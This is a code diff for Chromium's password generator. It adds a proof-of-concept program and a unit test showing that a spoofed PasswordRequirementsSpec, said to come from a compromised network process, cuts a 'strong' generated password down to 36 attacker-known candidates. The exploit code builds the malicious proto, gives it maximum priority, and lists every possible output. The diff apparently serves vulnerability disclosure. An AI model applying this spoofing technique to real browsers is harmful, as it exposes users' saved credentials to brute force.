diff --git a/components/password_manager/core/browser/generation/BUILD.gn b/components/password_manager/core/browser/generation/BUILD.gn index 18033263a0155..234ace970f3ad 100644 --- a/components/password_manager/core/browser/generation/BUILD.gn +++ b/components/password_manager/core/browser/generation/BUILD.gn @@ -36,6 +36,16 @@ source_set("generation") { configs += [ "//build/config/compiler:wexit_time_destructors" ] } +executable("password_generator_poc") { + testonly = true + sources = [ "password_generator_poc.cc" ] + deps = [ + ":core", + "//base", + "//components/autofill/core/browser/proto", + ] +} + source_set("unit_tests") { testonly = true sources = [ diff --git a/components/password_manager/core/browser/generation/password_generator_poc.cc b/components/password_manager/core/browser/generation/password_generator_poc.cc new file mode 100644 index 0000000000000..d8c1901e810d8 --- /dev/null +++ b/components/password_manager/core/browser/generation/password_generator_poc.cc @@ -0,0 +1,99 @@ +// POC: Network-process-spoofable PasswordRequirementsSpec.character_set reduces +// "strong" generated password to attacker-known <=36-candidate space (CWE-331). +// +// The browser process accepts PasswordRequirementsSpec protos from +// network-process-mediated sources (the Autofill crowdsourcing query response +// at autofill_crowdsourcing_encoding.cc:1127-1128, and the gstatic.com domain +// shard at password_requirements_spec_fetcher_impl.cc:209-215) without +// validating CharacterClass.character_set cardinality. +// +// GeneratePassword() (password_generator.cc:271) merges the untrusted spec over +// defaults with proto2 MergeFrom, which OVERWRITES the default per-class +// character_set strings with the server-supplied values. The only safety net is +// `if (password.size() < 4)` (line 293), which checks LENGTH but not ALPHABET +// SIZE. +// +// This program constructs the exact wire payload a compromised network process +// would inject, feeds it to the unmodified browser-process generator, and +// enumerates the entire reachable output space. + +#include +#include +#include + +#include "base/at_exit.h" +#include "base/check.h" +#include "base/command_line.h" +#include "base/strings/utf_string_conversions.h" +#include "components/autofill/core/browser/proto/password_requirements.pb.h" +#include "components/password_manager/core/browser/generation/password_generator.h" + +int main(int argc, char** argv) { + base::AtExitManager at_exit; + base::CommandLine::Init(argc, argv); + + // === Step 1: Build the malicious spec exactly as it would arrive over the + // wire inside AutofillQueryResponse.FormSuggestion.FieldSuggestion + // .password_requirements (or inside a gstatic.com PasswordRequirementsShard). + // No browser-side code mutates these fields before they reach + // GeneratePassword(); see PasswordRequirementsService::AddSpec / + // OnFetchedRequirements which store the proto verbatim. + autofill::PasswordRequirementsSpec wire_spec; + wire_spec.set_priority(0xFFFFFFFFu); // wins the domain-keyed cache forever + wire_spec.set_spec_version(1); + wire_spec.set_max_length(4); // smallest length that survives the + // `password.size() < 4` floor + wire_spec.mutable_lower_case()->set_character_set("a"); + wire_spec.mutable_upper_case()->set_character_set("A"); + wire_spec.mutable_numeric()->set_character_set("1"); + // alphabetic / symbols left unset -> defaults keep min=max=0. + + // Dump the serialized wire bytes -- this is exactly what travels from the + // network process to the browser process. + std::string wire; + wire_spec.SerializeToString(&wire); + fprintf(stderr, "[POC] wire-format PasswordRequirementsSpec (%zu bytes): ", + wire.size()); + for (unsigned char b : wire) { + fprintf(stderr, "%02x", b); + } + fprintf(stderr, "\n"); + + // === Step 2: Exhaustively sample autofill::GeneratePassword(). + std::set observed; + constexpr int kIterations = 100000; + for (int i = 0; i < kIterations; ++i) { + std::u16string pw = autofill::GeneratePassword(wire_spec); + + // The length-only floor at password_generator.cc:293 is satisfied, so the + // generator believes this is an acceptable "strong" password. + CHECK_EQ(4u, pw.size()) << base::UTF16ToUTF8(pw); + + // Every character is drawn from the attacker-chosen 3-symbol alphabet. + for (char16_t c : pw) { + CHECK(c == 'a' || c == 'A' || c == '1') + << "unexpected char in " << base::UTF16ToUTF8(pw); + } + observed.insert(pw); + } + + // === Step 3: Report. + fprintf(stderr, + "\n[POC] autofill::GeneratePassword() under network-spoofed spec " + "produced %zu distinct values across %d trials:\n", + observed.size(), kIterations); + for (const std::u16string& pw : observed) { + fprintf(stderr, "[POC] %s\n", base::UTF16ToUTF8(pw).c_str()); + } + + CHECK_LE(observed.size(), 36u); + + fprintf(stderr, + "\n[POC] VULNERABILITY CONFIRMED (CWE-331): the browser-process " + "'strong password' generator collapses to %zu attacker-known " + "candidates under a PasswordRequirementsSpec controllable by the " + "network process. The size()<4 floor at password_generator.cc:293 " + "checks length but not alphabet size.\n", + observed.size()); + return 0; +} diff --git a/components/password_manager/core/browser/generation/password_generator_unittest.cc b/components/password_manager/core/browser/generation/password_generator_unittest.cc index a1a28ad7b1016..01b0ebc18253f 100644 --- a/components/password_manager/core/browser/generation/password_generator_unittest.cc +++ b/components/password_manager/core/browser/generation/password_generator_unittest.cc @@ -6,9 +6,11 @@ #include #include +#include #include #include "base/notreached.h" +#include "base/strings/utf_string_conversions.h" #include "base/test/scoped_feature_list.h" #include "components/autofill/core/browser/proto/password_requirements.pb.h" #include "components/password_manager/core/browser/features/password_features.h" @@ -308,6 +310,103 @@ TEST_F(PasswordGeneratorTest, ZeroLength) { EXPECT_EQ(kDefaultPasswordLength, GeneratePassword(spec_).length()); } +// ----------------------------------------------------------------------------- +// POC: Network-process-spoofable PasswordRequirementsSpec.character_set reduces +// "strong" generated password to attacker-known <=36-candidate space (CWE-331). +// +// The browser process accepts PasswordRequirementsSpec protos from +// network-process-mediated sources (the Autofill crowdsourcing query response +// at autofill_crowdsourcing_encoding.cc:1127-1128, and the gstatic.com domain +// shard at password_requirements_spec_fetcher_impl.cc:209-215) without +// validating CharacterClass.character_set cardinality. +// +// GeneratePassword() (password_generator.cc:271) merges the untrusted spec over +// defaults with proto2 MergeFrom, which OVERWRITES the default per-class +// character_set strings with the server-supplied values. The only safety net is +// `if (password.size() < 4)` (line 293), which checks LENGTH but not ALPHABET +// SIZE. +// +// This test constructs the exact wire payload a compromised network process +// would inject, feeds it to GeneratePassword() unchanged, and proves that the +// browser-process generator produces a password drawn from a 36-element set +// while passing all sanity checks. +// ----------------------------------------------------------------------------- +TEST_F(PasswordGeneratorTest, POC_NetworkSpoofedSpec_36CandidateSpace) { + // === Step 1: Build the malicious spec exactly as it would arrive over the + // wire inside AutofillQueryResponse.FormSuggestion.FieldSuggestion + // .password_requirements (or inside a gstatic.com PasswordRequirementsShard). + // No browser-side code mutates these fields before they reach + // GeneratePassword(); see PasswordRequirementsService::AddSpec / + // OnFetchedRequirements which store the proto verbatim. + PasswordRequirementsSpec wire_spec; + wire_spec.set_priority(0xFFFFFFFFu); // wins the domain-keyed cache forever + wire_spec.set_spec_version(1); + wire_spec.set_max_length(4); // smallest length that survives the + // `password.size() < 4` floor + wire_spec.mutable_lower_case()->set_character_set("a"); + wire_spec.mutable_upper_case()->set_character_set("A"); + wire_spec.mutable_numeric()->set_character_set("1"); + // (alphabetic / symbols left unset -> defaults keep min=max=0, contributing + // nothing.) + + // === Step 2: Exhaustively sample the generator and record every distinct + // output. 100k iterations is far more than enough to cover a 36-element + // space with overwhelming probability. + std::set observed; + constexpr int kIterations = 100000; + for (int i = 0; i < kIterations; ++i) { + std::u16string pw = GeneratePassword(wire_spec); + + // The length-only floor at password_generator.cc:293 is satisfied, so the + // generator believes this is an acceptable "strong" password. + ASSERT_EQ(4u, pw.size()) << "got: " << base::UTF16ToUTF8(pw); + + // Every character is drawn from the attacker-chosen 3-symbol alphabet -- + // there is no allowlist or minimum-distinct-character check anywhere + // between the network boundary and the user-facing UI. + for (char16_t c : pw) { + ASSERT_TRUE(c == 'a' || c == 'A' || c == '1') + << "unexpected char '" << static_cast(c) << "' in " + << base::UTF16ToUTF8(pw); + } + observed.insert(pw); + } + + // === Step 3: Prove the candidate space is at most 36. + // The first three characters are forced to {a, A, 1} by min=1 on each class; + // the 4th is uniform over the same 3 symbols; then the 4-char string is + // shuffled. That yields 3 multisets x 12 permutations = 36 distinct outputs. + EXPECT_LE(observed.size(), 36u); + + // We also expect to have *covered* the space (sanity that the bound is + // tight, not an artefact of the test). + EXPECT_GE(observed.size(), 30u); + + // === Step 4: Dump the entire reachable password space so a human reviewer + // can see exactly what Chrome would offer as a "strong password". + fprintf(stderr, + "\n[POC] GeneratePassword() under network-spoofed spec produced %zu " + "distinct values across %d trials:\n", + observed.size(), kIterations); + for (const std::u16string& pw : observed) { + fprintf(stderr, "[POC] %s\n", base::UTF16ToUTF8(pw).c_str()); + } + fprintf(stderr, + "[POC] => an attacker who spoofed the spec can brute-force the saved " + "credential in <=36 guesses.\n\n"); + + // === Step 5 (the actual security assertion): a "strong" generated password + // must not be enumerable. This EXPECT is what a *fixed* Chromium should + // satisfy; today it FAILS, which is the proof of the vulnerability. + EXPECT_GT(observed.size(), 36u) + << "VULNERABILITY CONFIRMED: a PasswordRequirementsSpec controllable by " + "the network process collapses Chrome's 'strong' generated password " + "to " + << observed.size() + << " candidates, all known to the attacker. The size()<4 floor at " + "password_generator.cc:293 checks length but not alphabet size."; +} + #if !BUILDFLAG(IS_ANDROID) && !BUILDFLAG(IS_IOS) // Desktop class PasswordGeneratorChunkingTest : public testing::Test { public: